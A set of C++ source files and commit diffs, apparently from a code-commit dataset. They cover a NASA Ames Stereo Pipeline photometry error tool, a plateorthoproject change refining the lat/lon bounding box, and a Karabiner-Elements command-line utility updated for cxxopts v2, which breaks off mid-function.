// the Administrator of the National Aeronautics and Space Administration.
// All Rights Reserved.
// __END_LICENSE__
// What's this file supposed to do ?
//
// (Pho)tometry (It)eration (Error) Update
//
// Equation:
//
// e = Sumk( Sumij( ((I - A*T*R)*S)^2 ))
//
// If there's no reflectance, don't multiply by it.
#include <vw/Image.h>
#include <asp/Core/Macros.h>
#include <asp/PhotometryTK/RemoteProjectFile.h>
#include <asp/PhotometryTK/ErrorAccumulators.h>
using namespace vw;
using namespace asp::pho;
#include <boost/program_options.hpp>
namespace po = boost::program_options;
using namespace std;
struct Options {
Url ptk_url;
// For spawning multiple jobs
int job_id, num_jobs, level;
};
void update_error( Options& opt ) {
RemoteProjectFile remote_ptk( opt.ptk_url );
ProjectMeta project_info;
remote_ptk.get_project( project_info );
// Save last error before we overwrite it
float32 initError = remote_ptk.get_init_error();
float32 lastError = remote_ptk.get_last_error();
float32 currError = 0.0;
// Deciding what cameras
int minidx, maxidx;
minidx = float(project_info.num_cameras()*opt.job_id)/float(opt.num_jobs);
maxidx = float(project_info.num_cameras()*(opt.job_id+1))/float(opt.num_jobs);
// Load platefile
boost::shared_ptr<PlateFile> drg_plate, albedo_plate, reflect_plate;
remote_ptk.get_platefiles(drg_plate,albedo_plate,reflect_plate);
if (opt.level < 0 )
opt.level = drg_plate->num_levels() - 1;
for(int j = minidx; j < maxidx; j++) {
CameraMeta cam_info;
remote_ptk.get_camera(j, cam_info);
ErrorNRAccumulatorFunc<double,Vector2i> funcProto(opt.level, j+1, cam_info.exposure_t(), drg_plate, albedo_plate);
std::cerr << "Camera[" << j << "] exposure time: "
<< cam_info.exposure_t() << "\n";
int32 full = 1 << opt.level;
int32 quarter = full/4;
BBox2i affected_tiles(0,quarter,full-1,quarter*2-1);
RecursiveBBoxAccumulator<ErrorNRAccumulatorFunc<double,Vector2i> > accum(32, funcProto);
ErrorNRAccumulatorFunc<double,Vector2i> funcResult = accum(affected_tiles);
std::cerr << "cam[" << j << "] error=[" << funcResult.value() << "]\n";
// Once I have the API, call funcResult.value() and
// add it to the existing value in the current camera
if (project_info.current_iteration() == 0) {
cam_info.set_init_error(funcResult.value());
}
else {
cam_info.set_last_error(funcResult.value());
}
remote_ptk.set_camera(j, cam_info);
}
currError = remote_ptk.get_last_error();
// Compare init error and most recent error:
std::cerr << "Init error=[" << initError << "]\n";
std::cerr << "Last error=[" << lastError << "]\n";
std::cerr << "Curr error=[" << currError << "]\n";
std::cout << initError << " " << lastError << " " << currError << "\n";
}
void handle_arguments( int argc, char *argv[], Options& opt ) {
po::options_description general_options("");
general_options.add_options()
("level,l", po::value(&opt.level)->default_value(-1), "Default is to process lowest level.")
("job_id,j", po::value(&opt.job_id)->default_value(0), "")
("num_jobs,n", po::value(&opt.num_jobs)->default_value(1), "")
("help,h", "Display this help message");
po::options_description positional("");
positional.add_options()
("ptk_url", po::value(&opt.ptk_url), "Input PTK Url");
po::positional_options_description positional_desc;
positional_desc.add("ptk_url", 1);
po::options_description all_options;
all_options.add(general_options).add(positional);
po::variables_map vm;
try {
po::store( po::command_line_parser( argc, argv ).options(all_options).positional(positional_desc).run(), vm );
po::notify( vm );
} catch (po::error &e) {
vw_throw( ArgumentErr() << "Error parsing input:\n\t"
<< e.what() << general_options );
}
std::ostringstream usage;
usage << "Usage: " << argv[0] << " <ptk-url>\n";
if ( vm.count("help") )
vw_throw( ArgumentErr() << usage.str() << general_options );
if ( opt.ptk_url.string().empty() )
vw_throw( ArgumentErr() << "Missing project file url!\n"
<< usage.str() << general_options );
}
int main( int argc, char *argv[] ) {
Options opt;
try {
handle_arguments( argc, argv, opt );
update_error( opt );
} ASP_STANDARD_CATCHES;
return 0;
}
<|endoftext|>
|
<commit_before>// __BEGIN_LICENSE__
// Copyright (C) 2006-2011 United States Government as represented by
// the Administrator of the National Aeronautics and Space Administration.
// All Rights Reserved.
// __END_LICENSE__
#include <vw/Image.h>
#include <vw/Camera.h>
#include <vw/FileIO.h>
#include <vw/Cartography.h>
#include <vw/Plate/PlateFile.h>
#include <vw/Plate/TileManipulation.h>
#include <vw/Plate/PlateCarreePlateManager.h>
#include <vw/Plate/ToastPlateManager.h>
#include <vw/Plate/PlateView.h>
using namespace vw;
using namespace vw::platefile;
#include <asp/Sessions.h>
#include <asp/Core/Common.h>
#include <asp/Core/Macros.h>
#include <asp/IsisIO/DiskImageResourceIsis.h>
#include <boost/foreach.hpp>
#include <boost/program_options.hpp>
namespace po = boost::program_options;
#include <boost/filesystem/convenience.hpp>
namespace fs = boost::filesystem;
using namespace std;
// --- Standard Terminal Args ---
struct Options : public asp::BaseOptions {
Options() : output_id(-1) {}
// Input
string input_url;
string camera_image, camera_model; // For ISIS, these are the same
int32 dem_id, level;
// Settings
string datum, session, output_mode, mask_image;
// Output
string output_url;
int output_id; // transaction id
};
void handle_arguments(int argc, char *argv[], Options& opt) {
po::options_description general_options("Orthoprojects imagery into a plate file");
general_options.add_options()
("dem-id", po::value(&opt.dem_id)->default_value(-1), "DEM's transaction ID in input platefile")
("level,l", po::value(&opt.level)->default_value(-1), "Level at which to find input DEM.")
("output-id", po::value(&opt.output_id),
"Output transaction ID to use. If not provided, one will be solved for.")
("mode,m", po::value(&opt.output_mode)->default_value("equi"), "Output mode [toast, equi, polar]")
("mask", po::value(&opt.mask_image), "Input single channel image with same aspect ratio as camera image whose pixel with maximum value define valid pixels from projection.")
("datum,d", po::value(&opt.datum)->default_value("earth"), "Datum to use [earth, moon, mars].")
("session-type,t", po::value(&opt.session),
"Select the stereo session type to use for processing. [Options are pinhole, isis, ...]");
general_options.add( asp::BaseOptionsDescription(opt) );
po::options_description hidden_options("");
hidden_options.add_options()
("input-url", po::value(&opt.input_url), "")
("camera-image", po::value(&opt.camera_image), "")
("camera-model", po::value(&opt.camera_model), "")
("output-url", po::value(&opt.output_url), "");
po::positional_options_description p;
p.add("input-url",1);
p.add("camera-image",1);
p.add("camera-model",1);
p.add("output-url",1);
std::string usage("<input-plate> <camera-image> <camera-model> <output-plate> [options]");
po::variables_map vm =
asp::check_command_line( argc, argv, opt, general_options,
hidden_options, p, usage );
if ( opt.input_url.empty() ||
opt.camera_image.empty() || opt.camera_model.empty() )
vw_throw( ArgumentErr() << "Missing input files!\n\n" << usage << general_options);
// Detecting session type
boost::to_lower(opt.session);
if ( opt.session.empty() ) {
if ( boost::iends_with(opt.camera_model,".cahvor") ||
boost::iends_with(opt.camera_model,".cmod") ||
boost::iends_with(opt.camera_model,".cahv") ||
boost::iends_with(opt.camera_model,".pin") ||
boost::iends_with(opt.camera_model,".tsai") ) {
vw_out() << "\t--> Detected pinhole camera files. Executing pinhole stereo pipeline.\n";
opt.session = "pinhole";
}
else if ( boost::iends_with(opt.camera_image, ".cub") ) {
vw_out() << "\t--> Detected ISIS cube files. Executing ISIS stereo pipeline.\n";
opt.session = "isis";
}
else {
vw_throw( ArgumentErr() << "\n\n******************************************************************\n"
<< "Could not determine stereo session type. Please set it explicitly\n"
<< "using the -t switch. Options include: [pinhole isis].\n"
<< "******************************************************************\n\n" );
}
}
// Handling ISIS's model within image
if ( opt.output_url.empty() ) {
if ( opt.session == "isis" ) {
opt.output_url = opt.camera_model;
opt.camera_model = "";
} else {
vw_throw( ArgumentErr() << usage << general_options );
}
}
// Final clean up and saving user from themselves
boost::to_lower(opt.datum);
}
// --- Internal Operations ---
template <class PixelT>
void do_projection(boost::shared_ptr<PlateFile> input_plate,
boost::shared_ptr<PlateFile> output_plate,
boost::shared_ptr<camera::CameraModel> camera_model,
Options& opt) {
typedef PixelGrayA<float> InputT;
boost::scoped_ptr<PlateManager<InputT> > input_pm( PlateManager<InputT >::make(opt.output_mode, input_plate ) );
cartography::GeoReference input_georef = input_pm->georeference(opt.level);
// Finding and setting our Datum
if ( opt.datum == "earth" )
input_georef.set_well_known_geogcs("WGS84");
else if ( opt.datum == "mars" )
input_georef.set_well_known_geogcs("D_MARS");
else if ( opt.datum == "moon" )
input_georef.set_well_known_geogcs("D_MOON");
else
vw_throw( ArgumentErr() << "Unknown datum, \"" << opt.datum << "\".\n" );
// Loading up input image
DiskImageView<PixelT> texture_disk_image(opt.camera_image);
ImageViewRef<PixelT> texture_image = texture_disk_image;
// Camera Center's
Vector3 camera_center = camera_model->camera_center(Vector2());
Vector3 camera_lla = cartography::xyz_to_lon_lat_radius( camera_center );
vw_out() << "\tLoaded Camera Location: " << camera_lla << " [deg deg meters]\n";
// Normalize between 0->1 since ISIS is crazy (not really)
if ( opt.session == "isis" ) {
DiskImageResourceIsis isis_rsrc( opt.camera_image );
texture_image =
normalize_retain_alpha(asp::remove_isis_special_pixels(texture_disk_image),
isis_rsrc.valid_minimum(),isis_rsrc.valid_maximum(),
ChannelRange<PixelT>::min(), ChannelRange<PixelT>::max() );
}
if ( !opt.mask_image.empty() ) {
DiskImageView<uint8> mask(opt.mask_image);
if ( bounding_box(mask) != bounding_box(texture_image ) ) {
vw_out(WarningMessage) << "Mask image does not have same size as input. Attempting to scale to correct size.\n";
VW_ASSERT( fabs( float(mask.cols())/float(mask.rows()) - float(texture_image.cols())/float(texture_image.rows()) ) < 1e-2,
ArgumentErr() << "Mask image does not have same aspect ratio as camera image. Unable to use as mask!" );
texture_image = mask_to_alpha(copy_mask(alpha_to_mask(texture_image),
create_mask(resize(DiskImageView<uint8>(mask),
texture_image.cols(), texture_image.rows(),
ZeroEdgeExtension(), NearestPixelInterpolation()),0)));
} else {
texture_image = mask_to_alpha(copy_mask(alpha_to_mask(texture_image),create_mask(DiskImageView<uint8>(mask),0)));
}
}
// Performing rough approximation of which tiles this camera touches
BBox2 image_alt = camera_bbox( input_georef, camera_model,
texture_image.cols(), texture_image.rows() );
BBox2i dem_square; // Is in pixels
dem_square.grow( input_georef.lonlat_to_pixel(image_alt.min()) );
dem_square.grow( input_georef.lonlat_to_pixel(image_alt.max()) );
dem_square.expand(pow(2.0,opt.level-1)); // Just for good measure
// since we are
// intersecting with an
// approximation
// Building plateview to extract a single DEM
PlateView<InputT > input_view( opt.input_url );
input_view.set_level( opt.level );
dem_square.crop( bounding_box(input_view) );
ImageViewRef<InputT > input_view_ref =
crop(input_view,dem_square);
cartography::GeoReference dem_georef = input_georef;
Vector2 top_left_ll = input_georef.pixel_to_lonlat( dem_square.min() );
Matrix3x3 T = dem_georef.transform();
T(0,2) = top_left_ll[0];
T(1,2) = top_left_ll[1];
dem_georef.set_transform(T);
vw_out() << "\t--> Orthoprojecting into DEM square with transform:\n"
<< "\t " << dem_georef << "\n";
ImageViewRef<PixelT> projection =
orthoproject(input_view_ref, dem_georef,
texture_image, camera_model,
BicubicInterpolation(),
ZeroEdgeExtension());
// Push to output plate file
boost::scoped_ptr<PlateManager<PixelT> > output_pm( PlateManager<PixelT>::make( opt.output_mode, output_plate ) );
output_pm->insert(projection, opt.camera_image,
opt.output_id, dem_georef, false, false,
TerminalProgressCallback( "asp.plateorthoproject",
"\t Processing") );
}
void do_run( Options& opt ) {
#if defined(ASP_HAVE_PKG_ISISIO) && ASP_HAVE_PKG_ISISIO == 1
asp::StereoSession::register_session_type( "isis", &asp::StereoSessionIsis::construct);
#endif
// Extracting camera model from stereo session
typedef boost::scoped_ptr<asp::StereoSession> SessionPtr;
SessionPtr session( asp::StereoSession::create(opt.session) );
session->initialize(opt, opt.camera_image, opt.camera_image,
opt.camera_model, opt.camera_model,
"", "", "", "", "" );
boost::shared_ptr<camera::CameraModel> camera_model;
camera_model = session->camera_model(opt.camera_image,
opt.camera_model);
// Opening input and output plate files
if ( opt.output_url.empty() )
opt.output_url = fs::change_extension( opt.camera_image, "_DRG.plate" ).string();
PixelFormatEnum pixel_format;
ChannelTypeEnum channel_type;
try {
DiskImageResource *rsrc = DiskImageResource::open(opt.camera_image);
pixel_format = rsrc->pixel_format();
channel_type = rsrc->channel_type();
// Plate files should always have an alpha channel.
if (pixel_format == VW_PIXEL_GRAY)
pixel_format = VW_PIXEL_GRAYA;
if (pixel_format == VW_PIXEL_RGB)
pixel_format = VW_PIXEL_RGBA;
delete rsrc;
} catch (vw::Exception const& e) {
vw_throw( ArgumentErr() << "An error occured while finding pixel type: " << e.what() << "\n" );
}
string tile_filetype;
if (channel_type == VW_CHANNEL_FLOAT32 ||
channel_type == VW_CHANNEL_INT16 )
tile_filetype = "tif";
else
tile_filetype = "png";
typedef boost::shared_ptr<PlateFile> PlatePtr;
PlatePtr input_plate( new PlateFile(opt.input_url) );
PlatePtr output_plate( new PlateFile(opt.output_url,
opt.output_mode, "",
256, tile_filetype,
pixel_format, channel_type) );
switch( pixel_format ) {
case VW_PIXEL_GRAYA:
switch( channel_type ) {
case VW_CHANNEL_UINT8:
case VW_CHANNEL_UINT16:
do_projection<PixelGrayA<uint8> >( input_plate, output_plate,
camera_model, opt );
break;
case VW_CHANNEL_INT16:
do_projection<PixelGrayA<int16> >( input_plate, output_plate,
camera_model, opt );
break;
case VW_CHANNEL_FLOAT32:
do_projection<PixelGrayA<float32> >( input_plate, output_plate,
camera_model, opt );
break;
default:
vw_throw(InputErr() << "Unsupported channel type.\n");
}
break;
case VW_PIXEL_RGBA:
switch( channel_type ) {
case VW_CHANNEL_UINT8:
do_projection<PixelRGBA<uint8> >( input_plate, output_plate,
camera_model, opt );
break;
default:
vw_throw(InputErr() << "Unsupported channel type.\n");
}
default:
vw_throw(InputErr() << "Unsupported pixel type.\n");
break;
}
}
// --- Interface to Terminal ----
int main( int argc, char *argv[] ) {
Options opt;
try {
handle_arguments( argc, argv, opt );
// Farm out task from here
do_run( opt );
} ASP_STANDARD_CATCHES;
return 0;
}
<commit_msg>Refine the latlon estimate for plateorthoproject<commit_after>// __BEGIN_LICENSE__
// Copyright (C) 2006-2011 United States Government as represented by
// the Administrator of the National Aeronautics and Space Administration.
// All Rights Reserved.
// __END_LICENSE__
#include <vw/Image.h>
#include <vw/Camera.h>
#include <vw/FileIO.h>
#include <vw/Cartography.h>
#include <vw/Plate/PlateFile.h>
#include <vw/Plate/TileManipulation.h>
#include <vw/Plate/PlateCarreePlateManager.h>
#include <vw/Plate/ToastPlateManager.h>
#include <vw/Plate/PlateView.h>
using namespace vw;
using namespace vw::platefile;
#include <asp/Sessions.h>
#include <asp/Core/Common.h>
#include <asp/Core/Macros.h>
#include <asp/IsisIO/DiskImageResourceIsis.h>
#include <boost/foreach.hpp>
#include <boost/program_options.hpp>
namespace po = boost::program_options;
#include <boost/filesystem/convenience.hpp>
namespace fs = boost::filesystem;
using namespace std;
// --- Standard Terminal Args ---
struct Options : public asp::BaseOptions {
Options() : output_id(-1) {}
// Input
string input_url;
string camera_image, camera_model; // For ISIS, these are the same
int32 dem_id, level;
// Settings
string datum, session, output_mode, mask_image;
// Output
string output_url;
int output_id; // transaction id
};
void handle_arguments(int argc, char *argv[], Options& opt) {
po::options_description general_options("Orthoprojects imagery into a plate file");
general_options.add_options()
("dem-id", po::value(&opt.dem_id)->default_value(-1), "DEM's transaction ID in input platefile")
("level,l", po::value(&opt.level)->default_value(-1), "Level at which to find input DEM.")
("output-id", po::value(&opt.output_id),
"Output transaction ID to use. If not provided, one will be solved for.")
("mode,m", po::value(&opt.output_mode)->default_value("equi"), "Output mode [toast, equi, polar]")
("mask", po::value(&opt.mask_image), "Input single channel image with same aspect ratio as camera image whose pixel with maximum value define valid pixels from projection.")
("datum,d", po::value(&opt.datum)->default_value("earth"), "Datum to use [earth, moon, mars].")
("session-type,t", po::value(&opt.session),
"Select the stereo session type to use for processing. [Options are pinhole, isis, ...]");
general_options.add( asp::BaseOptionsDescription(opt) );
po::options_description hidden_options("");
hidden_options.add_options()
("input-url", po::value(&opt.input_url), "")
("camera-image", po::value(&opt.camera_image), "")
("camera-model", po::value(&opt.camera_model), "")
("output-url", po::value(&opt.output_url), "");
po::positional_options_description p;
p.add("input-url",1);
p.add("camera-image",1);
p.add("camera-model",1);
p.add("output-url",1);
std::string usage("<input-plate> <camera-image> <camera-model> <output-plate> [options]");
po::variables_map vm =
asp::check_command_line( argc, argv, opt, general_options,
hidden_options, p, usage );
if ( opt.input_url.empty() ||
opt.camera_image.empty() || opt.camera_model.empty() )
vw_throw( ArgumentErr() << "Missing input files!\n\n" << usage << general_options);
// Detecting session type
boost::to_lower(opt.session);
if ( opt.session.empty() ) {
if ( boost::iends_with(opt.camera_model,".cahvor") ||
boost::iends_with(opt.camera_model,".cmod") ||
boost::iends_with(opt.camera_model,".cahv") ||
boost::iends_with(opt.camera_model,".pin") ||
boost::iends_with(opt.camera_model,".tsai") ) {
vw_out() << "\t--> Detected pinhole camera files. Executing pinhole stereo pipeline.\n";
opt.session = "pinhole";
}
else if ( boost::iends_with(opt.camera_image, ".cub") ) {
vw_out() << "\t--> Detected ISIS cube files. Executing ISIS stereo pipeline.\n";
opt.session = "isis";
}
else {
vw_throw( ArgumentErr() << "\n\n******************************************************************\n"
<< "Could not determine stereo session type. Please set it explicitly\n"
<< "using the -t switch. Options include: [pinhole isis].\n"
<< "******************************************************************\n\n" );
}
}
// Handling ISIS's model within image
if ( opt.output_url.empty() ) {
if ( opt.session == "isis" ) {
opt.output_url = opt.camera_model;
opt.camera_model = "";
} else {
vw_throw( ArgumentErr() << usage << general_options );
}
}
// Final clean up and saving user from themselves
boost::to_lower(opt.datum);
}
// --- Internal Operations ---
template <class PixelT>
void do_projection(boost::shared_ptr<PlateFile> input_plate,
boost::shared_ptr<PlateFile> output_plate,
boost::shared_ptr<camera::CameraModel> camera_model,
Options& opt) {
typedef PixelGrayA<float> InputT;
boost::scoped_ptr<PlateManager<InputT> > input_pm( PlateManager<InputT >::make(opt.output_mode, input_plate ) );
cartography::GeoReference input_georef = input_pm->georeference(opt.level);
// Finding and setting our Datum
if ( opt.datum == "earth" )
input_georef.set_well_known_geogcs("WGS84");
else if ( opt.datum == "mars" )
input_georef.set_well_known_geogcs("D_MARS");
else if ( opt.datum == "moon" )
input_georef.set_well_known_geogcs("D_MOON");
else
vw_throw( ArgumentErr() << "Unknown datum, \"" << opt.datum << "\".\n" );
// Loading up input image
DiskImageView<PixelT> texture_disk_image(opt.camera_image);
ImageViewRef<PixelT> texture_image = texture_disk_image;
// Camera Center's
Vector3 camera_center = camera_model->camera_center(Vector2());
Vector3 camera_lla = cartography::xyz_to_lon_lat_radius( camera_center );
vw_out() << "\tLoaded Camera Location: " << camera_lla << " [deg deg meters]\n";
// Normalize between 0->1 since ISIS is crazy (not really)
if ( opt.session == "isis" ) {
DiskImageResourceIsis isis_rsrc( opt.camera_image );
texture_image =
normalize_retain_alpha(asp::remove_isis_special_pixels(texture_disk_image),
isis_rsrc.valid_minimum(),isis_rsrc.valid_maximum(),
ChannelRange<PixelT>::min(), ChannelRange<PixelT>::max() );
}
if ( !opt.mask_image.empty() ) {
DiskImageView<uint8> mask(opt.mask_image);
if ( bounding_box(mask) != bounding_box(texture_image ) ) {
vw_out(WarningMessage) << "Mask image does not have same size as input. Attempting to scale to correct size.\n";
VW_ASSERT( fabs( float(mask.cols())/float(mask.rows()) - float(texture_image.cols())/float(texture_image.rows()) ) < 1e-2,
ArgumentErr() << "Mask image does not have same aspect ratio as camera image. Unable to use as mask!" );
texture_image = mask_to_alpha(copy_mask(alpha_to_mask(texture_image),
create_mask(resize(DiskImageView<uint8>(mask),
texture_image.cols(), texture_image.rows(),
ZeroEdgeExtension(), NearestPixelInterpolation()),0)));
} else {
texture_image = mask_to_alpha(copy_mask(alpha_to_mask(texture_image),create_mask(DiskImageView<uint8>(mask),0)));
}
}
// Performing rough approximation of which tiles this camera touches
BBox2 image_alt = camera_bbox( input_georef, camera_model,
texture_image.cols(), texture_image.rows() );
std::cout << "Original lonlat: " << image_alt << "\n";
BBox2i dem_square; // Is in pixels
dem_square.grow( input_georef.lonlat_to_pixel(image_alt.min()) );
dem_square.grow( input_georef.lonlat_to_pixel(image_alt.max()) );
dem_square.max() += Vector2i(1,1);
// Expand rough draft DEM square to the 256 boundaries
dem_square.min() = floor(Vector2f(dem_square.min())/256.)*256;
dem_square.max() = ceil(Vector2f(dem_square.max())/256.)*256;
// Render a low res version of the DEM and use that to get a better approximation
PlateView<InputT > input_view( opt.input_url );
input_view.set_level( opt.level > 4 ? opt.level - 3 : opt.level );
image_alt = camera_bbox(copy(crop(input_view, opt.level > 4 ? dem_square / 8 : dem_square)),
crop(resample(input_georef, opt.level > 4 ? 1./8. : 1),
opt.level > 4 ? dem_square / 8 : dem_square),
camera_model, texture_image.cols(), texture_image.rows());
std::cout << "Post lonlst: " << image_alt << "\n";
dem_square = BBox2i();
dem_square.grow( input_georef.lonlat_to_pixel(image_alt.min()) );
dem_square.grow( input_georef.lonlat_to_pixel(image_alt.max()) );
dem_square.max() += Vector2i(1,1);
// Expand rough draft DEM square to the 256 boundaries
dem_square.min() = floor(Vector2f(dem_square.min())/256.)*256;
dem_square.max() = ceil(Vector2f(dem_square.max())/256.)*256;
// Building plateview to extract a single DEM
input_view.set_level( opt.level );
dem_square.crop( bounding_box(input_view) );
ImageViewRef<InputT > input_view_ref =
crop(input_view,dem_square);
cartography::GeoReference dem_georef = crop(input_georef, dem_square);
vw_out() << "\t--> Orthoprojecting into DEM square with transform:\n"
<< "\t " << dem_georef << "\n";
ImageViewRef<PixelT> projection =
orthoproject(input_view_ref, dem_georef,
texture_image, camera_model,
BicubicInterpolation(),
ZeroEdgeExtension());
// Push to output plate file
boost::scoped_ptr<PlateManager<PixelT> > output_pm( PlateManager<PixelT>::make( opt.output_mode, output_plate ) );
output_pm->insert(projection, opt.camera_image,
opt.output_id, dem_georef, false, false,
TerminalProgressCallback( "asp.plateorthoproject",
"\t Processing") );
}
void do_run( Options& opt ) {
#if defined(ASP_HAVE_PKG_ISISIO) && ASP_HAVE_PKG_ISISIO == 1
asp::StereoSession::register_session_type( "isis", &asp::StereoSessionIsis::construct);
#endif
// Extracting camera model from stereo session
typedef boost::scoped_ptr<asp::StereoSession> SessionPtr;
SessionPtr session( asp::StereoSession::create(opt.session) );
session->initialize(opt, opt.camera_image, opt.camera_image,
opt.camera_model, opt.camera_model,
"", "", "", "", "" );
boost::shared_ptr<camera::CameraModel> camera_model;
camera_model = session->camera_model(opt.camera_image,
opt.camera_model);
// Opening input and output plate files
if ( opt.output_url.empty() )
opt.output_url = fs::change_extension( opt.camera_image, "_DRG.plate" ).string();
PixelFormatEnum pixel_format;
ChannelTypeEnum channel_type;
try {
DiskImageResource *rsrc = DiskImageResource::open(opt.camera_image);
pixel_format = rsrc->pixel_format();
channel_type = rsrc->channel_type();
// Plate files should always have an alpha channel.
if (pixel_format == VW_PIXEL_GRAY)
pixel_format = VW_PIXEL_GRAYA;
if (pixel_format == VW_PIXEL_RGB)
pixel_format = VW_PIXEL_RGBA;
delete rsrc;
} catch (vw::Exception const& e) {
vw_throw( ArgumentErr() << "An error occured while finding pixel type: " << e.what() << "\n" );
}
string tile_filetype;
if (channel_type == VW_CHANNEL_FLOAT32 ||
channel_type == VW_CHANNEL_INT16 )
tile_filetype = "tif";
else
tile_filetype = "png";
typedef boost::shared_ptr<PlateFile> PlatePtr;
PlatePtr input_plate( new PlateFile(opt.input_url) );
PlatePtr output_plate( new PlateFile(opt.output_url,
opt.output_mode, "",
256, tile_filetype,
pixel_format, channel_type) );
switch( pixel_format ) {
case VW_PIXEL_GRAYA:
switch( channel_type ) {
case VW_CHANNEL_UINT8:
case VW_CHANNEL_UINT16:
do_projection<PixelGrayA<uint8> >( input_plate, output_plate,
camera_model, opt );
break;
case VW_CHANNEL_INT16:
do_projection<PixelGrayA<int16> >( input_plate, output_plate,
camera_model, opt );
break;
case VW_CHANNEL_FLOAT32:
do_projection<PixelGrayA<float32> >( input_plate, output_plate,
camera_model, opt );
break;
default:
vw_throw(InputErr() << "Unsupported channel type.\n");
}
break;
case VW_PIXEL_RGBA:
switch( channel_type ) {
case VW_CHANNEL_UINT8:
do_projection<PixelRGBA<uint8> >( input_plate, output_plate,
camera_model, opt );
break;
default:
vw_throw(InputErr() << "Unsupported channel type.\n");
}
default:
vw_throw(InputErr() << "Unsupported pixel type.\n");
break;
}
}
// --- Interface to Terminal ----
int main( int argc, char *argv[] ) {
Options opt;
try {
handle_arguments( argc, argv, opt );
// Farm out task from here
do_run( opt );
} ASP_STANDARD_CATCHES;
return 0;
}
<|endoftext|>
|
<commit_before>#include "configuration_monitor.hpp"
#include "constants.hpp"
#include "cxxopts/cxxopts.hpp"
#include "logger.hpp"
#include <iostream>
namespace {
void select_profile(const std::string& name) {
krbn::configuration_monitor monitor(krbn::constants::get_user_core_configuration_file_path(),
[&name](std::shared_ptr<krbn::core_configuration> core_configuration) {
auto& profiles = core_configuration->get_profiles();
for (size_t i = 0; i < profiles.size(); ++i) {
if (profiles[i].get_name() == name) {
core_configuration->select_profile(i);
core_configuration->save_to_file(krbn::constants::get_user_core_configuration_file_path());
return;
}
}
krbn::logger::get_logger().error("`{0}` is not found.", name);
});
}
int copy_current_profile_to_system_default_profile(void) {
krbn::filesystem::create_directory_with_intermediate_directories(krbn::constants::get_system_configuration_directory(), 0755);
std::ifstream ifstream(krbn::constants::get_user_core_configuration_file_path());
if (!ifstream) {
krbn::logger::get_logger().error("Failed to open {0}", krbn::constants::get_user_core_configuration_file_path());
return 1;
}
std::ofstream ofstream(krbn::constants::get_system_core_configuration_file_path());
if (!ofstream) {
krbn::logger::get_logger().error("Failed to open {0}", krbn::constants::get_system_core_configuration_file_path());
return 1;
}
ofstream << ifstream.rdbuf();
return 0;
}
int remove_system_default_profile(void) {
if (!krbn::filesystem::exists(krbn::constants::get_system_core_configuration_file_path())) {
krbn::logger::get_logger().error("{0} is not found.", krbn::constants::get_system_core_configuration_file_path());
return 1;
}
if (unlink(krbn::constants::get_system_core_configuration_file_path()) != 0) {
krbn::logger::get_logger().error("Failed to unlink {0}.");
return 1;
}
return 0;
}
} // namespace
int main(int argc, char* argv[]) {
krbn::thread_utility::register_main_thread();
{
auto l = spdlog::stdout_color_mt("karabiner_cli");
l->set_pattern("[%l] %v");
l->set_level(spdlog::level::err);
krbn::logger::set_logger(l);
}
cxxopts::Options options("karabiner_cli", "A command line utility of Karabiner-Elements.");
options.add_options()("select-profile", "Select a profile by name.", cxxopts::value<std::string>());
options.add_options()("copy-current-profile-to-system-default-profile", "Copy the current profile to system default profile.");
options.add_options()("remove-system-default-profile", "Remove the system default profile.");
options.add_options()("help", "Print help.");
try {
options.parse(argc, argv);
{
std::string key = "select-profile";
if (options.count(key)) {
select_profile(options[key].as<std::string>());
return 0;
}
}
{
std::string key = "copy-current-profile-to-system-default-profile";
if (options.count(key)) {
if (getuid() != 0) {
krbn::logger::get_logger().error("--{0} requires root privilege.", key);
return 1;
}
return copy_current_profile_to_system_default_profile();
}
}
{
std::string key = "remove-system-default-profile";
if (options.count(key)) {
if (getuid() != 0) {
krbn::logger::get_logger().error("--{0} requires root privilege.", key);
return 1;
}
return remove_system_default_profile();
}
}
} catch (const cxxopts::OptionException& e) {
std::cout << "error parsing options: " << e.what() << std::endl;
return 2;
}
std::cout << options.help() << std::endl;
std::cout << "Examples:" << std::endl;
std::cout << " karabiner_cli --select-profile 'Default profile'" << std::endl;
std::cout << std::endl;
return 1;
}
<commit_msg>update for cxxopts v2<commit_after>_Pragma("clang diagnostic push")
_Pragma("clang diagnostic ignored \"-Wshorten-64-to-32\"")
#include "cxxopts/cxxopts.hpp"
_Pragma("clang diagnostic pop")
#include "configuration_monitor.hpp"
#include "constants.hpp"
#include "logger.hpp"
#include <iostream>
namespace {
void select_profile(const std::string& name) {
krbn::configuration_monitor monitor(krbn::constants::get_user_core_configuration_file_path(),
[&name](std::shared_ptr<krbn::core_configuration> core_configuration) {
auto& profiles = core_configuration->get_profiles();
for (size_t i = 0; i < profiles.size(); ++i) {
if (profiles[i].get_name() == name) {
core_configuration->select_profile(i);
core_configuration->save_to_file(krbn::constants::get_user_core_configuration_file_path());
return;
}
}
krbn::logger::get_logger().error("`{0}` is not found.", name);
});
}
int copy_current_profile_to_system_default_profile(void) {
krbn::filesystem::create_directory_with_intermediate_directories(krbn::constants::get_system_configuration_directory(), 0755);
std::ifstream ifstream(krbn::constants::get_user_core_configuration_file_path());
if (!ifstream) {
krbn::logger::get_logger().error("Failed to open {0}", krbn::constants::get_user_core_configuration_file_path());
return 1;
}
std::ofstream ofstream(krbn::constants::get_system_core_configuration_file_path());
if (!ofstream) {
krbn::logger::get_logger().error("Failed to open {0}", krbn::constants::get_system_core_configuration_file_path());
return 1;
}
ofstream << ifstream.rdbuf();
return 0;
}
int remove_system_default_profile(void) {
if (!krbn::filesystem::exists(krbn::constants::get_system_core_configuration_file_path())) {
krbn::logger::get_logger().error("{0} is not found.", krbn::constants::get_system_core_configuration_file_path());
return 1;
}
if (unlink(krbn::constants::get_system_core_configuration_file_path()) != 0) {
krbn::logger::get_logger().error("Failed to unlink {0}.");
return 1;
}
return 0;
}
} // namespace
int main(int argc, char* argv[]) {
krbn::thread_utility::register_main_thread();
{
auto l = spdlog::stdout_color_mt("karabiner_cli");
l->set_pattern("[%l] %v");
l->set_level(spdlog::level::err);
krbn::logger::set_logger(l);
}
cxxopts::Options options("karabiner_cli", "A command line utility of Karabiner-Elements.");
options.add_options()("select-profile", "Select a profile by name.", cxxopts::value<std::string>());
options.add_options()("copy-current-profile-to-system-default-profile", "Copy the current profile to system default profile.");
options.add_options()("remove-system-default-profile", "Remove the system default profile.");
options.add_options()("help", "Print help.");
try {
auto parse_result = options.parse(argc, argv);
{
std::string key = "select-profile";
if (parse_result.count(key)) {
select_profile(parse_result[key].as<std::string>());
return 0;
}
}
{
std::string key = "copy-current-profile-to-system-default-profile";
if (parse_result.count(key)) {
if (getuid() != 0) {
krbn::logger::get_logger().error("--{0} requires root privilege.", key);
return 1;
}
